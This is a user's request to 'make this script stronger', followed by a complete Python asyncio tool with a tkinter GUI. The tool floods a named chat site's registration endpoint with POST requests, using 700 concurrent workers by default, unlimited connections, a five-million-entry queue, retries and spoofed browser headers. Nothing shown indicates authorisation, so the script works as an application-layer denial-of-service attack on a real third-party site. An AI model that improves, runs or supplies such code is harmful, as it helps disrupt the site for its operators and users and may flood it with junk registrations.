make this script stronger

import asyncio
import aiohttp
import time
from aiohttp import ClientSession, ClientConnectorError, ClientResponseError, TCPConnector
import signal
import sys
import logging
import tkinter as tk
from tkinter import ttk, messagebox
from threading import Thread

# Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php"
INITIAL_URL = "https://furrychat.net/index.html"  # URL for initial GET request
HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) "
        "Chrome/130.0.0.0 Safari/537.36"
    ),
    "Referer": "https://furrychat.net/index.html",
    "Upgrade-Insecure-Requests": "1",
    "sec-ch-ua": '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"',
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": '"Windows"',
    # Removed "Cookie" header to allow aiohttp to handle cookies automatically
}
DEFAULT_CONCURRENCY = 700  # Consider making this configurable
TIMEOUT = aiohttp.ClientTimeout(total=5)
RETRY_LIMIT = 3  # Number of retries for failed requests
QUEUE_SIZE = 5000000  # Maximum number of pending requests in the queue
REPORT_INTERVAL = 5  # Seconds between performance reports

class RequestFirer:
    def __init__(self, duration, logger=None):
        self.duration = duration
        self.success_count = 0
        self.failure_count = 0
        self.total_response_time = 0.0
        self.counter_lock = asyncio.Lock()
        self.stop_event = asyncio.Event()
        self.logger = logger or self.setup_logger()
    
    def setup_logger(self):
        logger = logging.getLogger("RequestFirer")
        logger.setLevel(logging.INFO)
        handler = logging.StreamHandler(sys.stdout)
        formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
        handler.setFormatter(formatter)
        logger.addHandler(handler)
        return logger
    
    async def initialize_session(self, session: ClientSession):
        """
        Perform the initial GET request to establish session cookies.
        """
        try:
            self.logger.info("Performing initial GET request to establish session.")
            async with session.get(INITIAL_URL, headers=HEADERS, timeout=TIMEOUT) as response:
                if response.status == 200:
                    self.logger.info("Initial GET request successful.")
                else:
                    self.logger.warning(f"Initial GET request returned status {response.status}.")
        except Exception as e:
            self.logger.error(f"Initial GET request failed: {e}")
    
    async def send_request(self, session: ClientSession, request_id: int):
        backoff = 0.1
        for attempt in range(1, RETRY_LIMIT + 1):
            try:
                start = time.time()
                async with session.post(URL, headers=HEADERS, timeout=TIMEOUT) as response:
                    response_time = time.time() - start
                    async with self.counter_lock:
                        self.total_response_time += response_time
                        if response.status == 200:
                            self.success_count += 1
                            self.logger.debug(f"Request {request_id} succeeded.")
                        else:
                            self.failure_count += 1
                            self.logger.debug(f"Request {request_id} failed with status {response.status}.")
                    break
            except (ClientConnectorError, ClientResponseError, asyncio.TimeoutError, aiohttp.ClientOSError) as e:
                async with self.counter_lock:
                    self.failure_count += 1
                self.logger.debug(f"Request {request_id} failed on attempt {attempt}: {e}")
                if attempt >= RETRY_LIMIT:
                    self.logger.error(f"Request {request_id} failed after {RETRY_LIMIT} attempts.")
                    break
                await asyncio.sleep(backoff)
                backoff *= 2
    
    async def worker(self, name: int, session: ClientSession, queue: asyncio.Queue):
        while not self.stop_event.is_set():
            try:
                request_id = await asyncio.wait_for(queue.get(), timeout=1.0)
            except asyncio.TimeoutError:
                continue
            if request_id is None:
                queue.task_done()
                break
            await self.send_request(session, request_id)
            queue.task_done()
    
    async def producer(self, queue: asyncio.Queue):
        request_id = 0
        while not self.stop_event.is_set():
            try:
                await queue.put(request_id)
                request_id += 1
            except asyncio.CancelledError:
                break
            except Exception as e:
                self.logger.error(f"Producer encountered an error: {e}")
                break
    
    async def report(self):
        last_success = 0
        last_failure = 0
        last_total_response_time = 0.0
        start_time = time.time()
        while not self.stop_event.is_set():
            await asyncio.sleep(REPORT_INTERVAL)
            async with self.counter_lock:
                current_success = self.success_count
                current_failure = self.failure_count
                current_total_response_time = self.total_response_time
            interval_success = current_success - last_success
            interval_failure = current_failure - last_failure
            interval_response_time = current_total_response_time - last_total_response_time
            elapsed = time.time() - start_time
            avg_response_time = (interval_response_time / interval_success) if interval_success > 0 else 0
            self.logger.info(
                f"[Report] Time Elapsed: {elapsed:.2f}s | "
                f"Success: {current_success} (+{interval_success}), "
                f"Failure: {current_failure} (+{interval_failure}), "
                f"Avg Response Time: {avg_response_time:.2f}s"
            )
            last_success = current_success
            last_failure = current_failure
            last_total_response_time = current_total_response_time
    
    async def run(self, concurrency=DEFAULT_CONCURRENCY):
        connector = TCPConnector(
            limit=0,  # Remove limit on total connections
            ssl=True,
            keepalive_timeout=30
        )
        async with aiohttp.ClientSession(connector=connector) as session:
            # Initialize session by performing initial GET
            await self.initialize_session(session)
            
            queue = asyncio.Queue(maxsize=QUEUE_SIZE)

            workers = [
                asyncio.create_task(self.worker(i, session, queue))
                for i in range(concurrency)
            ]

            producer_task = asyncio.create_task(self.producer(queue))

            reporter = asyncio.create_task(self.report())

            # Schedule stop_event after duration
            asyncio.create_task(self.schedule_stop())

            # Wait for stop_event
            await self.stop_event.wait()

            # Stop producer
            producer_task.cancel()
            try:
                await producer_task
            except asyncio.CancelledError:
                self.logger.info("Producer task cancelled.")

            # Wait until the queue is fully processed
            await queue.join()

            # Stop workers
            for _ in workers:
                await queue.put(None)
            await asyncio.gather(*workers, return_exceptions=True)
            self.logger.info("All worker tasks have been cancelled.")

            # Stop reporter
            reporter.cancel()
            try:
                await reporter
            except asyncio.CancelledError:
                self.logger.info("Reporter task cancelled.")
    
    async def schedule_stop(self):
        await asyncio.sleep(self.duration)
        self.logger.info(f"Specified duration of {self.duration} seconds elapsed. Stopping...")
        self.stop_event.set()
    
    def get_results(self):
        return self.success_count, self.failure_count, self.total_response_time

class GUIHandler(logging.Handler):
    def __init__(self, app):
        super().__init__()
        self.app = app

    def emit(self, record):
        msg = self.format(record)
        self.app.write(msg + "\n")

class Application(tk.Tk):
    def __init__(self):
        super().__init__()
        self.title("Request Firer")
        self.geometry("600x400")
        self.resizable(False, False)

        # Input for concurrency
        self.label_concurrency = ttk.Label(self, text="Concurrency:")
        self.label_concurrency.pack(pady=5)
        self.entry_concurrency = ttk.Entry(self)
        self.entry_concurrency.insert(0, str(DEFAULT_CONCURRENCY))
        self.entry_concurrency.pack(pady=5)

        # Input for duration
        self.label_duration = ttk.Label(self, text="Duration (seconds):")
        self.label_duration.pack(pady=5)
        self.entry_duration = ttk.Entry(self)
        self.entry_duration.insert(0, "60")  # Default 60 seconds
        self.entry_duration.pack(pady=5)

        # Start button
        self.start_button = ttk.Button(self, text="Start", command=self.start_firing)
        self.start_button.pack(pady=20)

        # Status display
        self.status_text = tk.Text(self, height=15, state='disabled', wrap='word')
        self.status_text.pack(pady=5, padx=10, fill='both', expand=True)

        # Initialize logger for GUI
        self.logger = self.setup_logger()

    def setup_logger(self):
        logger = logging.getLogger("GUILogger")
        logger.setLevel(logging.INFO)
        handler = GUIHandler(self)
        formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")
        handler.setFormatter(formatter)
        logger.addHandler(handler)
        return logger

    def write(self, message):
        self.status_text.configure(state='normal')
        self.status_text.insert(tk.END, message)
        self.status_text.see(tk.END)
        self.status_text.configure(state='disabled')

    def flush(self):
        pass  # Not needed for tkinter

    def start_firing(self):
        try:
            concurrency = int(self.entry_concurrency.get())
            duration = int(self.entry_duration.get())
            if concurrency <= 0 or duration <= 0:
                raise ValueError
        except ValueError:
            messagebox.showerror("Invalid Input", "Please enter positive integer values for concurrency and duration.")
            return

        self.start_button.config(state='disabled')
        self.logger.info("Starting RequestFirer...")

        self.request_firer = RequestFirer(duration, logger=self.logger)
        thread = Thread(target=self.run_asyncio_loop, args=(concurrency,), daemon=True)
        thread.start()

    def run_asyncio_loop(self, concurrency):
        try:
            asyncio.run(self.request_firer.run(concurrency=concurrency))
        except Exception as e:
            self.logger.error(f"An error occurred: {e}")
        success, failure, total_time = self.request_firer.get_results()
        self.logger.info("Firing complete.")
        self.logger.info(f"Total Successful Requests: {success}")
        self.logger.info(f"Total Failed Requests: {failure}")
        messagebox.showinfo("Completed", f"Firing complete.\nSuccess: {success}\nFailure: {failure}")
        self.start_button.config(state='normal')

if __name__ == "__main__":
    app = Application()
    app.mainloop()